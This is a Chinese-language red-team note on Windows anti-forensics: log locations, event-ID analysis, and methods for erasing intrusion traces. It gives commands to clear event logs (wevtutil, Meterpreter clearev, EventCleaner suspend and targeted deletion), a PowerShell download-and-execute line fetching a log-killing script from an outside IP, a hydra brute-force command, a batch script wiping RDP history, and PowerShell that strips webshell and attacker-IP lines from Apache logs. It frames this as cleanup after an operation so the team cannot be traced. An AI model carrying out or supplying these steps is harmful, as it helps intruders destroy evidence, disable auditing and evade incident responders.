总述

本文讲述了 Windows 的常见日志:
	系统日志、中间件日志、框架日志、行为日志 等相关日志的 存储位置 以及 清除。

0. 利用的所有工具清除

	我们自用的相关工具,很多都是经过了我们自己的 免杀、二开 等相关处理了的,在上线的时候需要标注清除每个工具在哪些主机上,在项目结束了以后需要全部进行清除的。
	
	否则:
		轻则 免杀失效。
		重则 APT-Ai 分析,提取特征、习惯 - 对我们整个团队都有一个测绘,以后每次项目我们的相关特征只要符合了都能快速溯源到我们。

1)webshell

caidao
weevely
antSword
rebeyond
Godzilla

Pasted image 20250828200401.png

2)隧道⼯具

Icmpsh
Pingtunnel
EarthWorm
Venom
Stowaway
Frp
Udp2raw
DnsCat2 && Dnscat2-Powrshell
Tunna
reGeog&&Neo-reGeorg
abptts

3)落地样本

清除落地样本,避免捕获分析、免杀失效、被狩猎和攻击劫持。

Pasted image 20250828200724.png

1. 系统日志

详细信息看 yijing 课件。
安全 - 日志文件:
	%systemroot%\system32\config\SecEvent.EVT;
系统 - 日志文件:
	%systemroot%\system32\config\SysEvent.EVT;
应用程序 - 日志文件:
	%systemroot%\system32\config\AppEvent.EVT;
DNS - 日志文件:
	%systemroot%\system32\config\DnsEvent.EVT;


删除指定记录的日志:
	https://github.com/QAX-A-Team/EventCleaner



%systemroot% = C:\Windows
Windows 系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

	在渗透测试过程中,Windows 日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对 Windows 日志进行清除和绕过。

Pasted image 20250828194834.png

Pasted image 20250828194837.png

1、Windows 系统日志 - 分类

详细信息看 yijing 课件。
C:\Windows\System32\winevt\Logs\

%systemroot%\System32\winevt\Logs\
Windows 系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

	在渗透测试过程中,Windows 日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对 Windows 日志进行清除和绕过。

1)系统日志(System)

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。

默认日志路径: %SystemRoot%\System32\Winevt\Logs\System.evtx

2)应用程序日志(Application)

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。

默认日志路径:%SystemRoot%\System32\Winevt\Logs\Application.evtx

3)安全日志(Security)

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或 者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。

安全日志记录着事件审计信息,包括用户验证 (登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。

默认日志路径:%SystemRoot%\System32\Winevt\Logs\Security.evtx

Pasted image 20250829081137.png

Pasted image 20250829080718.png

Pasted image 20250829081123.png

2、日志查看

1)日志查看器

eventvwr.msc

控制面板\系统和安全\管理工具

Pasted image 20250829080404.png

Pasted image 20250829080439.png

2)查看日志

# 查看所有日志(PowerShell)
Get-winEvent

# 查看应用程序类别下的日志(CMD)
powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}

Pasted image 20250829080805.png

Pasted image 20250829080932.png

3、日志分析

1. 常见登录事件 - 日志分析

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明

  1. 事件 ID
事件 ID(Event ID)事件描述核心说明
4624登录成功记录用户(包括普通用户、系统账户等)成功登录系统的行为,可用于追溯正常登录轨迹
4625登录失败记录登录尝试失败的行为,常见原因包括密码错误、账户锁定、权限不足等,可用于排查异常登录尝试
4634注销成功记录用户或系统自动触发的注销操作完成,标志着当前登录会话正式结束
4647用户启动的注销明确记录由用户主动发起的注销操作(区别于系统自动注销),体现用户自主退出行为
4672使用超级用户(如管理员)进行登录专门记录具有高权限的账户(如 Administrator)登录行为,需重点监控以防范权限滥用
4720创建用户记录在系统中新增用户账户的操作,通常由管理员执行,可用于追溯账户创建来源
  1. 登录类型

每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

登录类型(Type)登录类型名称描述说明
2交互式登录(Interactive)指用户在计算机本地控制台进行的登录,即直接在设备前通过键盘、鼠标操作完成的登录,是最常见的本地登录方式(如日常开机后在 Windows 登录界面输入密码登录)。
3网络(Network)记录从远程网络登录本地计算机的行为,典型场景包括:连接共享文件夹(如\\计算机名\共享文件夹)、访问共享打印机、通过网络映射驱动器等,本质是通过网络协议(如 SMB)发起的非本地交互登录。
4批处理(Batch)主要与计划任务或批处理程序启动相关:
1. 当 Windows 执行计划任务时,“计划任务服务” 会为任务创建新登录会话(使用任务配置的用户账户),此时日志记为类型 4;
2. 其他依赖批处理机制的工作任务系统启动时,也可能产生该类型登录;
3. 需注意:失败的类型 4 登录可能是恶意猜解密码,也可能是计划任务配置的用户密码变更后未同步更新。
5服务(Service)与服务运行账户关联:
1. 每个 Windows 服务需配置特定用户账户(如 Local System、管理员账户或专用服务账户),当服务启动时,系统会为该账户创建登录会话,日志记为类型 5;
2. 失败的类型 5 登录通常因服务配置的用户密码变更,但服务参数未同步更新导致。
7解锁(Unlock)对应屏幕保护锁定后的解锁操作
1. 若系统开启屏保锁定功能(如离开一段时间后自动锁屏),用户需重新输入用户名和密码解锁屏幕,此时产生类型 7 登录日志;
2. 可用于追溯用户解锁设备的时间和频率,辅助判断设备使用间隔。
8网络明文(NetworkCleartext)指登录过程中密码以明文形式在网络传输的登录行为,典型场景包括:
1. IIS 服务器上的 ASP 程序登录(部分旧版配置);
2. FTP 协议登录(非 SSL/TLS 加密的 FTP 连接);
3. 因密码明文传输存在安全风险,该类型登录需重点监控,优先建议升级为加密传输方式。
9新凭证(NewCredentials)通常由RUNAS /Netonly命令触发:
1. 当用户使用RUNAS /Netonly命令以其他用户身份运行程序时(仅对远程网络访问生效,本地操作仍使用当前用户权限),系统会创建新的凭证会话,日志记为类型 9;
2. 常见于需要临时用其他权限访问远程资源(如数据库、服务器)的场景。
10远程交互(RemoteInteractive)对应远程桌面类访问
1. 通过 “终端服务”“远程桌面(RDP)”“远程协助” 连接本地计算机时,系统记为类型 10,以区分本地控制台的交互式登录(类型 2);
2. 注意:Windows XP 及更早版本(如 Windows 2000)不支持该类型,会将远程桌面登录误记为类型 2。
11缓存交互(CachedInteractive)用于域环境下无域控制器连接时的登录
1. Windows 默认缓存最近 10 次域用户交互式登录的凭证 HASH;
2. 当用户在域外环境(如笔记本离线、域控制器不可用)登录时,系统会使用缓存的 HASH 验证身份,此时产生类型 11 登录日志。
1)本地交互式登录

本地交互式登录,也就是我们每天最常使用的登录方式。

相关的详细分析,查看 yijing 讲义。
A. 4648-4624-登录成功

首先是成功的登录,从日志分析来看至少会有2个事件发生,ID分别为 4648、4624,以下从上至下分别是各自的截图。

Pasted image 20250829081553.png

Pasted image 20250829082006.png

Pasted image 20250829081642.png

B. 4625-登录失败

失败的本地登录,会产生ID 4625的事件日志

Pasted image 20250829081811.png

2)RDP协议远程登录
A. 4648-4624-4672-登录成功

使用mstsc远程登录某个主机时,使用的帐户是管理员帐户的话,成功的情况下会有ID为 4648、4624、4672 的事件产生。

Pasted image 20250829082834.png

B. 4625-登录失败

登录事件 ID为 4625
登录类型为 10(远程交互)

Pasted image 20250829082700.png

3)共享文件夹 - IPC$

远程访问某台主机的共享资源,如某个共享文件夹

A. 4624-登录成功

使用正确的用户名和密码访问远程共享主机,登录事件ID为4624,登录类型为3(Network),审核成功。列出了源网络地址和端口。

Pasted image 20250829083111.png

Pasted image 20250829083143.png

如果访问共享资源使用的帐户名、密码正确,但是该用户对指定的共享文件夹没有访问权限时仍然会有ID为 4624 的认证成功事件产生。

Pasted image 20250829083706.png

Pasted image 20250829083741.png

B. 2625-登录失败

登录失败 事件ID 4625
登录类型 3

同RDP协议远程登录一样,使用不存在的用户名和错误密码分别登录失败,ID为4625,登录类型为3(网络)。审核失败,列出了登录失败的账户名和失败原因。

Pasted image 20250829083839.png

Pasted image 20250829083911.png

4)RUNAS
登录成功

事件ID 2624
登录类型 9

Pasted image 20250829084205.png

Pasted image 20250829084334.png

5)小总结
  • 在进程尝试通过显式指定帐户的凭据来登录该帐户时生成 4648 事件。
  • 成功的登录通常会有 4624 事件产生,在创建登录会话后在被访问的计算机上生成此事件。
  • 如果用户有特权会有 4672 事件产生。
  • 通常情况下只需关注登录类型为 2、3、9、10 类型的 4625 登录失败事件。
6)登录爆破实例
事件 ID(Event ID)事件类型核心描述关键应用场景
4624登录成功记录所有用户(普通用户、系统账户、服务账户等)成功登录系统的行为,日志中会附带登录类型、登录账户、客户端 IP(远程登录时)等关键信息。1. 追溯正常登录轨迹,确认用户登录时间和方式;
2. 结合登录类型(如 Type 10 远程交互)排查合法远程访问记录。
4625登录失败记录所有登录尝试失败的行为,日志中会标注失败原因(如密码错误、账户锁定、权限不足、账户不存在等)、登录账户、客户端 IP 等信息。1. 排查暴力破解攻击(短时间内大量 4625 事件,且账户多为常见用户名);
2. 定位账户异常(如合法用户频繁输错密码,可能是密码遗忘或账户被冒用)。
4634注销成功记录登录会话的正式结束,包括用户主动注销、系统自动注销(如超时未操作)、远程会话断开等场景,标志当前登录状态终止。1. 关联 4624 事件,完整追溯用户 “登录 - 注销” 的会话周期;
2. 排查异常会话断开(如未主动操作却频繁注销,可能是连接不稳定或恶意中断)。
4647用户启动的注销专门记录由用户主动发起的注销操作(区别于系统自动注销),明确体现用户自主退出登录的行为。1. 区分 “用户主动退出” 与 “系统自动注销”,精准判断用户操作意图;
2. 验证用户是否按规范退出系统(如敏感操作后是否及时注销)。
4672超级用户登录仅记录具有高权限的账户(如 Administrator、域管理员账户等)成功登录的行为,属于重点监控的特权操作日志。1. 实时监控管理员账户的使用情况,防范权限滥用;
2. 追溯特权操作的源头(如管理员登录后执行的关键配置变更,可通过 4672 关联后续操作日志)。
检查方法 - 1

1、Win+R 输入 eventvwr.msc,打开事件管理器
2、Windows日志 -> 安全 -> 筛选当前日志
3、输入事件ID:4625 ,进行日志筛选
4、发现事件ID:4625,事件数8153,即用户登录失败了8153次,那么这台服务器管理员账号可能遭遇了暴力猜解。

Pasted image 20250829084801.png

检查方法 - 2

也可通过手动编辑XML过滤进行筛选:

<QueryList>
    <Query Id="0" Path="Security">
        <Select Path="Security">
            *[System[EventID=4625]] 
            and 
            *[EventData[Data[@Name='IpAddress']='192.168.81.134']]
        </Select>
    </Query>
</QueryList>

查看网络信息,可得知爆破来源IP为 192.168.81.134

Pasted image 20250829084820.png

筛选来自此IP的登录成功日志 4624,判断是否爆破登录成功

筛选当前日志,XML,手动编辑查询,输入如下XML过滤语句:

	查询 Windows 安全日志 中,由 IP 地址 192.168.81.134 发起的 所有登录成功记录(无时间限制,覆盖日志留存周期内的全部匹配事件)。
<QueryList>
    <Query Id="0" Path="Security">
        <Select Path="Security">
            *[System/EventID=4624] 
            and 
            *[EventData[Data[@Name='IpAddress']='192.168.81.134']]
        </Select>
    </Query>
</QueryList>
	在 “指定 IP 筛选” 基础上,增加 时间范围限制,仅查询 近 2 小时内 由 192.168.81.134 发起的登录成功记录(适用于实时审计、近期异常行为排查)。
<QueryList>
    <Query Id="0" Path="Security">
        <Select Path="Security">
            *[System[
                EventID=4624 
                and 
                TimeCreated[timediff(@SystemTime) &lt;= 7200000]
            ]] 
            and 
            *[EventData[Data[@Name='IpAddress']='192.168.81.134']]
        </Select>
    </Query>
</QueryList>

发现存在以下登录成功日志

Pasted image 20250829085134.png

hydra 登录爆破

hydra -l administrator -P rockyou.txt smb://192.168.81.219 -vV

4. 日志分析工具

这方面是蓝队相关的核心知识了,先暂时放过。

	详细信息看 yijing 课件。

1)Log Parser

Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。

Log Parser 2.2下载地址:
https://www.microsoft.com/en-us/download/details.aspx?id=24659

Log Parser 使用示例:
https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/

更多详细的信息看 yijing 课件吧。

2)Event Log Explorer

Event Log Explorer 是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系 统,应用程序和其他微软 Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。

下载地址:
https://event-log-explorer.en.softonic.com

5. Windows痕迹清除

相关参考文献:
	https://github.com/Bypass007/Emergency-Response-Notes/blob/master/%E7%AC%AC02%E7%AB%A0%EF%BC%9A%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90%E7%AF%87/%E7%AC%AC1%E7%AF%87%EF%BC%9AWindows%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90.md

1)Windows日志清理

wevtutil.exe:用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。

统计日志列表,查询所有日志信息,包含时间,数目
wevtutil.exe gli Application

Pasted image 20250829085926.png

获取security的最近五条日志
wevtutil qe Security /f:text /rd:true /c:5

Pasted image 20250829090018.png

获得Security的前十条Security日志
wevtutil qe Security /f:text /c:5
wevtutil qe Security /f:xml /c:10
wevtutil qe Security /rd:true /c:10

Pasted image 20250829090058.png

Pasted image 20250829090115.png

Pasted image 20250829090139.png

导出指定日志保存
wevtutil.exe epl Security 1.evtx

Pasted image 20250829090227.png

Pasted image 20250829090316.png

查看指定类别的日志内容
wevtutil qe Application /f:text /c:10

Pasted image 20250829090414.png

删除该类日志所有内容
wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl "windows powershell"

Pasted image 20250829090508.png

Pasted image 20250829090529.png

Pasted image 20250829090549.png

Pasted image 20250829090617.png

2)清理 Meterpreter 日志

1、删除所有在渗透过程中使用的工具
2、删除之前添加的账号
net user username /del
3、删除应用程序、系统和安全模块日志
clearev
4、关闭所有的Meterpreter连接
sessions
sessions -K
5、查看事件日志
run event_manager -i
6、删除事件日志
run event_manager -c

3)停止日志记录

利用脚本让日志功能失效,无法记录日志。

powershell "IEX(new-object system.net.webclient).downloadstring('http://120.55.169.128:8000/phant0m.cna');Invoke-Phant0m"

把eventlog对应的svchost进程结束,重新开启Windows Event Log服务,即可恢复日志记录

net start eventlog

4)EventLogMaster

奇安信 A-Team 的很好用的一款清理工具。

	EventCleaner 是一款主要用于删除 Windows 事件日志中指定记录的工具,同时具备暂停 / 恢复日志记录、释放日志文件占用等附加功能,适用于对 Windows 事件日志(如 security.evtx)进行精准操作的场景。

项目地址:
	https://github.com/QAX-A-Team/EventCleaner
命令格式功能描述详细说明
EventCleaner suspend暂停 Windows 事件日志服务的日志线程执行后,Windows 事件日志服务将停止记录任何新日志(包括安全日志、系统日志等),直到执行恢复命令。
EventCleaner normal恢复 Windows 事件日志服务的日志线程用于解除 “suspend” 状态,恢复日志正常记录功能,确保后续操作能被正常日志捕获。
EventCleaner closehandle释放 Windows 事件日志服务对 security.evtx 文件的独占句柄Windows 事件日志服务默认会独占锁定 security.evtx(安全日志文件),执行此命令可释放该锁定,以便对 security.evtx 文件进行手动操作(如复制、编辑、删除等)。
EventCleaner 100删除事件记录 ID 为 100 的日志条目(数字可替换为目标日志的实际 ID)需先通过 “事件查看器” 确认目标日志的 “事件记录 ID”,替换命令中的 “100” 即可精准删除指定日志(示例:删除记录 ID 为 500 的日志,命令为 EventCleaner 500)。

Pasted image 20250829092828.png

Pasted image 20250829092833.png

Pasted image 20250829092837.png

Pasted image 20250829092841.png

Pasted image 20250829092854.png

Pasted image 20250829092857.png

Pasted image 20250829092900.png

操作流程示例(典型场景)

若需执行 “规避日志记录的操作” 并清理指定日志,可按以下步骤操作:

  1. 释放日志文件锁定(必须!):执行 EventCleaner closehandle,解除 security.evtx 的独占占用(如需操作其他日志文件,需配合对应配置);
  2. 删除指定日志:执行 EventCleaner [目标记录ID](如 EventCleaner 2024),删除已确认的目标日志条目;
  3. 暂停日志记录:执行 EventCleaner suspend,停止新日志生成;
  4. 执行目标操作:在此状态下进行所需操作(期间不会产生新日志);
  5. 恢复日志记录:操作完成后,执行 EventCleaner normal,恢复日志正常记录功能;
  6. 清理工具痕迹:删除 EventCleaner 工具文件,避免残留。
示范 - 清除 4625 登陆失败 日志
# 释放日志文件锁定
EventCleaner closehandle

# 暂停日志记录
EventCleaner suspend

# 清除 4625 登陆失败 日志 
EventCleaner.exe 4625

# 恢复日志记录功能
EventCleaner normal

执行前

Pasted image 20250829092354.png

执行后

Pasted image 20250829092458.png

Pasted image 20250829092945.png

我擦不对劲啊,这个 句柄错误 好像是直接把 日志功能打崩了啊。。。

2. 敏感⽬录下的 临时⽂件

	可能在我们 内网横移、渗透 等的过程当中,难免会在这些敏感的目录文件下生成一些临时的文件,在后期痕迹清除的时候记得删除。
C:\Windows\Temp
C:\Users\All Users\
C:\ProgramData\

C:\Users\Admin\AppData\Local\Temp\
	C:\Users\administrator\AppData\Local\Temp\

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Start up\
	C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Start up\

Pasted image 20250828195050.png

3. 计划任务

计划任务记得清除干净我们的痕迹。

schtasks /delete /tn qiaoshen /s 10.10.10.20 /f

schtasks /delete /tn qiaoshen /s 10.10.10.20 /u administrator /p 1qaz@WSX /f

Pasted image 20250828195129.png

Pasted image 20250828195145.png

4. 远程桌⾯连接记录

# 每一步空出来了知道有哪些操作,其实这本质上是个 bat 脚本,每次痕迹清除导入到目标主机执行清除即可。

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

cd %userprofile%\documents\
	attrib Default.rdp -s -h
	del Default.rdp
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp

5. Web 日志

根据目标 Web 服务的中间件不同,我们需要清除不同路径下的 日志文件,且清除方法也不尽相同。

1)Apache

Apache安装路径:
	%Apache_home%
	
	日志文件默认路径:
		%Apache_home%\logs\access.log

在默认配置下,Apache HTTP Server(简称 Apache)主要生成两类核心日志文件:Access Log(访问日志) 和 Error Log(错误日志),分别记录客户端访问行为与服务器运行异常。不同操作系统(Windows/Linux)的日志存储路径、配置文件位置存在差异,以下从日志类型、路径、定位方法等维度系统总结。

一、Apache 核心日志类型及作用

Apache 的日志功能由配置文件(httpd.conf 或 apache2.conf)控制,默认启用两类关键日志:

日志类型核心作用关键记录内容
Access Log记录所有客户端对 Apache 服务器的 HTTP/HTTPS 访问请求,用于审计访问行为客户端 IP、访问时间、请求方法(GET/POST)、访问的 URL 路径、状态码(200/404/500)、用户代理(UA)等
Error Log记录 Apache 服务器运行过程中的错误、警告、调试信息,用于排查服务故障错误发生时间、错误级别(Notice/Warning/Error/Critical)、错误描述(如模块加载失败、文件不存在、权限不足)等

二、Apache 日志存储路径(分系统 / 常见版本)

Apache 的日志路径由配置文件中的 CustomLog(Access Log)和 ErrorLog(Error Log)指令定义,不同系统、不同安装方式(源码安装 / 包管理安装 / 一键安装)的默认路径差异较大,以下为主流场景的默认路径:

Windows 下 Apache 多为一键安装(如 XAMPP、WAMP 集成环境,或独立安装包),默认路径与安装目录强关联:

日志类型独立安装(Apache 官方包)默认路径XAMPP 集成环境默认路径WAMP 集成环境默认路径
Access LogC:\Program Files\Apache Group\Apache2\logs\access.logC:\xampp\apache\logs\access.logC:\wamp64\bin\apache\apacheX.X.X\logs\access.log(X.X.X 为 Apache 版本号,如 2.4.54)
Error LogC:\Program Files\Apache Group\Apache2\logs\error.logC:\xampp\apache\logs\error.logC:\wamp64\bin\apache\apacheX.X.X\logs\error.log

注意:Windows 路径中的 Apache Group 或 apacheX.X.X 会因 Apache 版本不同略有差异(如 Apache 2.4 版本可能显示为 Apache24)。

三、快速定位 Apache 关键信息(日志路径 / 安装目录)

1. 默认路径
日志类型独立安装(Apache 官方包)默认路径XAMPP 集成环境默认路径WAMP 集成环境默认路径
Access LogC:\Program Files\Apache Group\Apache2\logs\access.logC:\xampp\apache\logs\access.logC:\wamp64\bin\apache\apacheX.X.X\logs\access.log(X.X.X 为 Apache 版本号,如 2.4.54)
Error LogC:\Program Files\Apache Group\Apache2\logs\error.logC:\xampp\apache\logs\error.logC:\wamp64\bin\apache\apacheX.X.X\logs\error.log

注意:Windows 路径中的 Apache Group 或 apacheX.X.X 会因 Apache 版本不同略有差异(如 Apache 2.4 版本可能显示为 Apache24)。

若默认路径失效(如手动修改过配置、非标准安装),可通过以下方法快速定位 Apache 安装目录、配置文件及日志路径:

  • Windows 系统

    • 独立安装:打开 Apache 服务属性(“服务”→找到 Apache 服务→右键 “属性”),“可执行文件路径” 中通常包含配置文件路径(如 -f "C:\Program Files\Apache24\conf\httpd.conf"
    • XAMPP/WAMP:直接在集成环境目录中找(如 XAMPP 的 apache\conf 目录,WAMP 的 apache\apacheX.X.X\conf 目录)
2. 从配置文件中提取日志路径

打开 Apache 主配置文件(httpd.conf 或 apache2.conf),搜索以下关键字,直接获取实际日志路径:

  • Access Log:搜索 CustomLog 指令,示例:

    # Windows 示例(独立安装)
    CustomLog "logs/access.log" combined
    

    其中 ${APACHE_LOG_DIR} 为 Linux 下的日志目录变量(通常对应 /var/log/apache2),logs/ 为相对路径(基于 Apache 安装目录)。

  • Error Log:搜索 ErrorLog 指令,示例:

    # Windows 示例(XAMPP)
    ErrorLog "logs/error.log"
    
3. 定位 Apache 安装目录
  • Windows 系统

    • 集成环境(XAMPP/WAMP):直接在桌面快捷方式上右键 “打开文件所在位置”,上级目录即为集成环境根目录,Apache 目录在其中(如 xampp\apache
    • 独立安装:通过 “控制面板”→“程序和功能”,找到 Apache 条目,右键 “更改”→“修复”(无需实际修复),过程中会显示安装目录;或通过服务属性的 “可执行文件路径” 反推(如 C:\Program Files\Apache24\bin\httpd.exe 对应安装目录 C:\Program Files\Apache24

四、webshell 痕迹清除需重点关注的 Apache 日志

若需清除 Apache 环境下的 webshell 痕迹,核心关注两类日志,需结合 webshell 行为(如访问路径、执行异常)针对性处理:

日志类型需清除的关键痕迹操作建议
Access Log1. 客户端 IP 访问 webshell 文件的记录(如 GET /webshell.jsp HTTP/1.1
2. 异常 POST 请求(如向 webshell 提交命令的请求)
1. 直接删除日志文件(需注意日志轮转,避免遗漏历史日志,如 access.log.1
2. 用文本编辑器(如 Linux 的 sed)定向删除包含 webshell 路径的行(需谨慎,避免破坏日志完整性)
Error Log1. webshell 执行错误导致的 500 错误记录(如代码语法错误、权限不足)
2. 访问不存在的 webshell 衍生文件的 404 错误
同 Access Log 处理方式,优先删除异常记录行,或替换敏感信息(如客户端 IP、文件路径)

额外注意:Linux 下 Apache 日志可能开启 “日志轮转”(通过 logrotate 工具),需检查 /var/log/httpd/ 或 /var/log/apache2/ 目录下的历史日志文件(如 access.log.1access.log.2.gz),避免遗漏痕迹;Windows 下无默认日志轮转,但需注意是否手动配置过日志切割工具(如 LogRotateWin)。

清理
细微清理
# 替换为你的 access.log 实际路径 
$logPath = "C:\Apache24\logs\access.log" 

# 读取文件内容,过滤掉包含 "shell.php" 的行,再写回文件
(Get-Content $logPath) | Where-Object { $_ -notmatch "shell.php" } | Set-Content $logPath
$logPath = "C:\Apache24\log\access.log"

# 注意 IP 中的点需要转义(用 \.),避免被当作正则通配符
(Get-Content $logPath) | Where-Object { $_ -notmatch "123\.123\.123\.123" } | Set-Content $logPath
暴力清理
del C:\Apache24\logs\access.log
echo. > C:\Apache24\logs\access.log

五、核心总结

维度Linux 系统Windows 系统
核心日志类型Access Log(访问)、Error Log(错误)同 Linux
默认日志路径(包管理 / 集成环境)Access Log:/var/log/httpd/access_log(RHEL)或 /var/log/apache2/access.log(Ubuntu);Error Log:对应目录下的 error_log/error.logAccess Log:C:\xampp\apache\logs\access.log(XAMPP);Error Log:对应目录下的 error.log
配置文件位置/etc/httpd/conf/httpd.conf(RHEL)或 /etc/apache2/apache2.conf(Ubuntu)C:\Program Files\Apache24\conf\httpd.conf(独立安装)或 xampp\apache\conf\httpd.conf(XAMPP)
webshell 痕迹重点Access Log 中的 webshell 访问记录、Error Log 中的执行错误记录,需注意日志轮转文件同 Linux,需检查是否有手动配置的日志切割文件

2)Nginx

Apache安装路径:
	%Apache_home%
	
	日志文件默认路径:
		%Apache_home%\logs\access.log

Nginx安装路径假设:
	%Nginx_home%
	
	配置文件 nginx.conf中配置日志路径(配置文件那行命令)如:
		access_log logs/access.log main
	
	访问日志默认路径:
		%Nginx_home%\logs\access.log

一、Nginx 核心日志类型及默认路径

Nginx 的日志功能由配置文件(nginx.conf)控制,默认生成两类核心日志:访问日志(Access Log) 和 错误日志(Error Log);部分场景下会自定义业务日志,但默认仅启用前两类。
不同操作系统的默认安装路径不同,因此日志路径也存在差异,具体如下:

Windows 系统(较少用于生产,多为测试)

Windows 下 Nginx 多为压缩包解压安装(默认无统一安装目录,需用户指定,常见如 D:\nginx-1.24.0\),日志默认存储在 Nginx 安装目录的 logs 子文件夹中:

日志类型默认路径(以安装目录 D:\nginx-1.24.0\ 为例)核心作用(与 Linux 完全一致)
Access LogD:\nginx-1.24.0\logs\access.log记录所有客户端对 Nginx 的 HTTP/HTTPS 请求细节,含:请求时间、客户端 IP、请求方法(GET/POST)、请求 URL、响应状态码(200/404/502)、请求来源(Referer)、客户端浏览器信息(User-Agent)等,用于排查访问异常、统计流量。
Error LogD:\nginx-1.24.0\logs\error.log记录 Nginx 服务运行中的错误 / 警告信息,含:启动失败(如端口被占用)、配置语法错误、反向代理连接失败(如后端服务宕机)、文件不存在(404 源头)等,是排查 Nginx 服务故障的核心日志。
自定义日志无默认路径(需在 nginx.conf 中指定)如按域名拆分日志(如 access_xxx.com.log)、按业务模块拆分日志,路径由用户自定义(通常放在 /var/log/nginx/ 子目录下)。

二、关键补充:Nginx 日志配置与路径修改

默认日志路径可通过 Nginx 主配置文件(nginx.conf)修改,核心配置项如下,需区分 全局配置(所有虚拟主机生效)和 虚拟主机配置(仅特定域名生效):

1. 核心配置项
配置项作用示例(Linux)示例(Windows)
access_log启用 / 禁用访问日志,指定路径和日志格式(格式需提前定义,默认 combinedaccess_log /var/log/nginx/access.log combined;access_log D:/nginx-1.24.0/logs/access.log combined;
error_log启用 / 禁用错误日志,指定路径和日志级别(级别:debuginfonoticewarnerrorcritalertemerg,默认 errorerror_log /var/log/nginx/error.log error;error_log D:/nginx-1.24.0/logs/error.log error;
log_format自定义访问日志格式(如添加请求耗时、后端服务 IP 等字段)log_format myfmt '$remote_addr [$time_local] "$request" $status $request_time';格式语法与 Linux 一致,仅路径不同。
2. 配置文件示例(Linux)
# 全局配置(所有虚拟主机生效)
http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    # 自定义日志格式(可选)
    log_format  combined  '$remote_addr - $remote_user [$time_local] "$request" '
                          '$status $body_bytes_sent "$http_referer" '
                          '"$http_user_agent" "$http_x_forwarded_for"';

    # 全局日志路径(若虚拟主机未单独配置,将继承此路径)
    access_log  /var/log/nginx/access.log  combined;
    error_log   /var/log/nginx/error.log   error;

    # 虚拟主机配置(单独指定日志路径,覆盖全局配置)
    server {
        listen       80;
        server_name  xxx.com;

        # 该域名的专属访问日志
        access_log  /var/log/nginx/access_xxx.com.log  combined;
        # 该域名的专属错误日志(可选,不配置则用全局 error_log)
        error_log   /var/log/nginx/error_xxx.com.log   warn;

        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }
    }
}

三、如何快速定位 Nginx 安装路径与日志路径?

若忘记 Nginx 安装目录或日志路径,可通过以下命令 / 方法快速定位(区分操作系统):

定位目标常用命令 / 方法说明
找到 Nginx 安装目录1. 若通过快捷方式启动:右键快捷方式→“属性”→“起始位置” 即为安装目录;
2. 若通过命令行 / 后台进程启动:先执行 tasklist findstr nginx 找到进程,再用 Process Explorer 等工具查看进程的 “工作目录”
安装目录下通常包含 nginx.exe(可执行文件)和 logs 文件夹(默认日志路径)。
找到配置文件 nginx.conf1. 先确定 Nginx 安装目录;
2. 进入安装目录下的 conf 子文件夹;
3. 在 conf 文件夹中直接找到 nginx.conf 文件(无后缀名)
打开 nginx.conf 后,搜索 access_log 或 error_log 即可获取实际日志路径,配置文件可通过记事本、Notepad++ 等工具打开编辑

四、webshell 痕迹清除需重点关注的 Nginx 日志

若需清除 Nginx 环境下的 webshell 痕迹,核心关注两类默认日志,需结合 webshell 的访问、执行行为针对性处理,同时注意自定义日志(如按域名拆分的访问日志)的遗漏风险:

日志类型需清除的关键痕迹操作建议
Access Log(访问日志)1. 客户端 IP 访问 webshell 文件的记录(如 GET /webshell.php HTTP/1.1POST /shell.jsp HTTP/1.1
2. 异常请求特征记录(如非浏览器 User-Agent、高频访问同一可疑路径、携带异常参数的请求)
